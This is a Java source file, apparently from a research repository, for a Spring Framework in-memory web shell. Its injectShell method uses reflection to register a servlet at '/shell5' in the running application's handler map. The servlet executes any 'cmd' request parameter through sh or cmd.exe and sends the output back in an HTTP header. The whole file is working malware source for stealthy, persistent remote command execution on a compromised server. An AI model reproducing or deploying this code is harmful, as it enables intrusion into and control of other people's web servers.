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No5_SimpleServletHandlerAdapterShell.java
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88 lines (75 loc) · 3.75 KB
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package com.example.springshell.memshell;
import com.example.springshell.utils.Util;
import jakarta.servlet.*;
import jakarta.servlet.http.HttpServletResponse;
import org.springframework.web.context.WebApplicationContext;
import org.springframework.web.context.request.RequestContextHolder;
import org.springframework.web.servlet.DispatcherServlet;
import org.springframework.web.servlet.HandlerAdapter;
import org.springframework.web.servlet.handler.BeanNameUrlHandlerMapping;
import org.springframework.web.servlet.handler.SimpleServletHandlerAdapter;
import java.io.IOException;
import java.io.InputStream;
import java.lang.reflect.Field;
import java.util.List;
import java.util.Map;
import java.util.Scanner;
public class No5_SimpleServletHandlerAdapterShell implements Servlet {
public static String injectShell() throws ClassNotFoundException, NoSuchFieldException, IllegalAccessException {
WebApplicationContext webApplicationContext = (WebApplicationContext) RequestContextHolder.currentRequestAttributes().getAttribute("org.springframework.web.servlet.DispatcherServlet.CONTEXT", 0);
BeanNameUrlHandlerMapping beanNameUrlHandlerMapping = webApplicationContext.getBean(BeanNameUrlHandlerMapping.class);
// 添加handlerAdapter
DispatcherServlet servlet = new Util().getServlet();
List<HandlerAdapter> handlerAdapters = (List<HandlerAdapter>) Util.getFieldValue(servlet,"handlerAdapters");
boolean hasSimpleServletHandlerAdapter = false;
for(HandlerAdapter adapter:handlerAdapters){
if(adapter instanceof SimpleServletHandlerAdapter){
hasSimpleServletHandlerAdapter = true;
break;
}
}
if(!hasSimpleServletHandlerAdapter){
handlerAdapters.add(new SimpleServletHandlerAdapter());
}
// 添加handler
Class abstractUrlHandlerMapping = Class.forName("org.springframework.web.servlet.handler.AbstractUrlHandlerMapping");
Field field = abstractUrlHandlerMapping.getDeclaredField("handlerMap");
field.setAccessible(true);
Map handlerMap = (Map) field.get(beanNameUrlHandlerMapping);
handlerMap.put("/shell5",new No5_SimpleServletHandlerAdapterShell());
return "{\"result\":\"No5_SimpleServletHandlerAdapterShell\"}";
}
@Override
public void init(ServletConfig servletConfig) throws ServletException {
}
@Override
public ServletConfig getServletConfig() {
return null;
}
@Override
public void service(ServletRequest servletRequest, ServletResponse servletResponse) throws ServletException, IOException {
if (servletRequest.getParameter("cmd") != null) {
boolean isLinux = true;
String osTyp = System.getProperty("os.name");
if (osTyp != null && osTyp.toLowerCase().contains("win")) {
isLinux = false;
}
String[] cmds = isLinux ? new String[]{"sh", "-c", servletRequest.getParameter("cmd")} : new String[]{"cmd.exe", "/c", servletRequest.getParameter("cmd")};
InputStream in = Runtime.getRuntime().exec(cmds).getInputStream();
Scanner s = new Scanner(in).useDelimiter("\\A");
String output = s.hasNext() ? s.next() : "";
// servletResponse.getWriter().write(output);
// servletResponse.getWriter().flush();
// servletResponse.getWriter().close();
HttpServletResponse response = (HttpServletResponse) servletResponse;
response.setHeader("Exec-result", new String(output));
}
}
@Override
public String getServletInfo() {
return null;
}
@Override
public void destroy() {
}
}